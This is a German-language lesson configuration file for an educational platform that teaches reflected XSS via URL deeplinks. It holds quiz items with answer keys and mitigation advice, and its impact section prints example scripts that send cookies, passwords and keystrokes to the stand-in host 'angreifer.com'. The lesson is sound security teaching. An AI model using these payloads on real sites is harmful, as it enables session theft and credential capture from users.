medienkompetenz-lernplattform/backend/lessons/configs/xss-deeplink-demo.yaml
Marius Rometsch a439873394 Add lessons
2026-02-08 19:47:21 +01:00

212 lines
8.2 KiB
YAML

lessonKey: "xss-deeplink-demo"
title: "Cross-Site Scripting (XSS) - Deeplink Injection"
description: "Lernen Sie, wie XSS-Angriffe durch URL-Parameter-Manipulation und Deeplink-Injection funktionieren"
difficultyLevel: "intermediate"
estimatedDuration: 20
module: "xss-deeplink-demo"
steps:
- id: "intro"
type: "content"
title: "Was ist Cross-Site Scripting (XSS)?"
content: |
Cross-Site Scripting (XSS) ist eine Sicherheitslücke, die es Angreifern ermöglicht, bösartigen JavaScript-Code in Webseiten einzuschleusen, die von anderen Benutzern angesehen werden.
XSS kann auftreten, wenn:
• Benutzereingaben ohne ordnungsgemäße Bereinigung angezeigt werden
• URL-Parameter im Seiteninhalt wiedergegeben werden
• Benutzergenerierte Inhalte als HTML gerendert werden
**Arten von XSS:**
• **Reflected XSS** - Payload ist Teil der Anfrage (z.B. URL-Parameter)
• **Stored XSS** - Payload wird in der Datenbank gespeichert und anderen Benutzern angezeigt
• **DOM-basiertes XSS** - Payload manipuliert direkt das Document Object Model
**Was Angreifer mit XSS tun können:**
• Session-Cookies stehlen und Konten übernehmen
• Benutzer auf Phishing-Seiten umleiten
• Websites verunstalten
• Keylogger installieren
• Auf sensible Daten zugreifen
- id: "url-params"
type: "content"
title: "Wie URL-Parameter funktionieren"
content: |
Viele Websites verwenden URL-Parameter (auch Query-Strings genannt), um Daten zu übergeben:
https://beispiel-shop.com/produkt?name=Laptop&kategorie=Elektronik
In dieser URL:
• name=Laptop ist ein Parameter
• kategorie=Elektronik ist ein weiterer Parameter
**Deeplinks:**
Deeplinks sind URLs, die direkt auf bestimmte Inhalte innerhalb einer Website oder App verlinken. Sie enthalten oft Parameter, die den angezeigten Inhalt anpassen.
**Die Sicherheitslücke:**
Wenn eine Website URL-Parameterwerte ohne Bereinigung anzeigt, kann ein Angreifer bösartigen Code einschleusen:
https://beispiel-shop.com/produkt?name=<script>alert('XSS')</script>
Wenn die Seite den "name"-Parameter anzeigt, wird das Skript ausgeführt!
- id: "xss-demo"
type: "interactive"
title: "XSS Deeplink Demo"
interactiveComponent: "XSSDeeplinkDemo"
content: |
Unten sehen Sie eine Demonstration, wie XSS durch URL-Parameter-Injection funktioniert. Die anfällige Version zeigt Benutzereingaben direkt an, während die sichere Version Sonderzeichen kodiert.
Probieren Sie die Beispiel-Payloads aus, um zu sehen, wie verschiedene XSS-Techniken funktionieren. Beachten Sie, wie die Kodierung verhindert, dass der bösartige Code ausgeführt wird.
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Welche der folgenden sind gültige XSS-Payloads, die über URL-Parameter eingeschleust werden können?"
options:
- id: "script-alert"
text: "<script>alert('XSS')</script>"
isCorrect: true
points: 10
- id: "img-onerror"
text: "<img src=x onerror='alert(1)'>"
isCorrect: true
points: 10
- id: "svg-onload"
text: "<svg onload='alert(1)'></svg>"
isCorrect: true
points: 10
- id: "iframe-src"
text: "<iframe src='javascript:alert(1)'></iframe>"
isCorrect: true
points: 10
- id: "normal-text"
text: "Nur ein normaler Produktname"
isCorrect: false
points: 0
maxPoints: 40
feedback:
correct: "Ausgezeichnet! Sie haben alle XSS-Payloads identifiziert. Diese Muster können JavaScript in anfälligen Anwendungen ausführen."
partial: "Gut! Sie haben einige XSS-Payloads erkannt. Überprüfen Sie die Muster: Script-Tags, Event-Handler und Protocol-Injections."
incorrect: "Schauen Sie sich die Demo an und suchen Sie nach Mustern, die HTML-Tags, Event-Handler oder JavaScript-Protokolle enthalten."
- id: "detection-impact"
type: "content"
title: "XSS-Erkennung und Auswirkungen"
content: |
**Wie XSS funktioniert:**
Wenn eine anfällige Anwendung empfängt:
https://shop.com/suche?q=<script>alert(1)</script>
Und es so anzeigt:
<div>Suchergebnisse für: <script>alert(1)</script></div>
Der Browser führt das Script-Tag aus und führt den Code des Angreifers aus!
**Auswirkungen in der Praxis:**
**Cookie-Diebstahl:**
<script>
fetch('http://angreifer.com/steal?cookie=' + document.cookie);
</script>
Sendet die Cookies des Opfers an den Server des Angreifers.
**Session-Hijacking:**
Sobald der Angreifer den Session-Cookie hat, kann er sich als Benutzer ausgeben und auf dessen Konto zugreifen.
**Phishing:**
<script>
document.body.innerHTML = '<form action="http://angreifer.com">
Passwort eingeben: <input type="password" name="pass">
</form>';
</script>
Ersetzt die Seite durch ein gefälschtes Login-Formular.
**Keylogging:**
<script>
document.addEventListener('keypress', function(e) {
fetch('http://angreifer.com/log?key=' + e.key);
});
</script>
Zeichnet jeden Tastendruck auf der Seite auf.
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "Was ist der EFFEKTIVSTE Weg, XSS-Angriffe zu verhindern?"
options:
- id: "input-length"
text: "Die Länge der Benutzereingabe begrenzen"
isCorrect: false
points: 0
- id: "output-encoding"
text: "Alle Ausgaben kodieren und Content Security Policy (CSP) implementieren"
isCorrect: true
points: 30
- id: "remove-tags"
text: "Alle HTML-Tags aus Benutzereingaben entfernen"
isCorrect: false
points: 0
- id: "client-validation"
text: "Nur clientseitige JavaScript-Validierung verwenden"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Perfekt! Output-Encoding wandelt Sonderzeichen um, sodass Browser sie als Text und nicht als Code behandeln. CSP bietet eine zusätzliche Sicherheitsebene."
incorrect: "Während Eingabefilterung helfen kann, ist Output-Encoding unerlässlich. Sonderzeichen wie < und > müssen in &lt; und &gt; umgewandelt werden, damit Browser sie als Text anzeigen, anstatt sie als HTML auszuführen."
- id: "mitigation"
type: "content"
title: "XSS-Angriffe verhindern"
content: |
**Best Practices:**
**1. Output-Encoding (Am wichtigsten)**
Kodieren Sie Ausgaben immer kontextabhängig:
• **HTML-Kontext:** < wird zu &lt;, > wird zu &gt;
• **JavaScript-Kontext:** Verwenden Sie JSON.stringify() für Daten
• **URL-Kontext:** Verwenden Sie encodeURIComponent()
• **CSS-Kontext:** Vermeiden Sie Benutzereingaben in CSS
**2. Content Security Policy (CSP)**
Setzen Sie HTTP-Header, um Script-Quellen einzuschränken:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
object-src 'none';
Dies verhindert Inline-Skripte und schränkt ein, woher Skripte geladen werden können.
**3. Eingabevalidierung**
• Validieren Sie Datentypen (Zahlen, E-Mails, etc.)
• Verwenden Sie Allowlists für erwartete Werte
• Lehnen Sie unerwartete Muster ab
• Vertrauen Sie niemals allein auf clientseitige Validierung
**4. Framework-Sicherheitsfunktionen**
Moderne Frameworks helfen, XSS zu verhindern:
• **React:** Escapt JSX-Inhalte automatisch
• **Angular:** Eingebaute Bereinigung
• **Vue:** Template-Escaping standardmäßig
⚠️ **Verwenden Sie NIEMALS gefährliche Funktionen:**
• React: `dangerouslySetInnerHTML`
• Angular: `bypassSecurityTrust...`
• Vue: `v-html` mit Benutzerinhalten
**5. HTTPOnly Cookies**
Setzen Sie das HTTPOnly-Flag auf Session-Cookies:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
Dies verhindert, dass JavaScript auf Cookies zugreift und begrenzt die Auswirkungen von XSS.
scoring:
passingScore: 55
maxTotalPoints: 110 # 70 from questions + up to 40 from discovering XSS vectors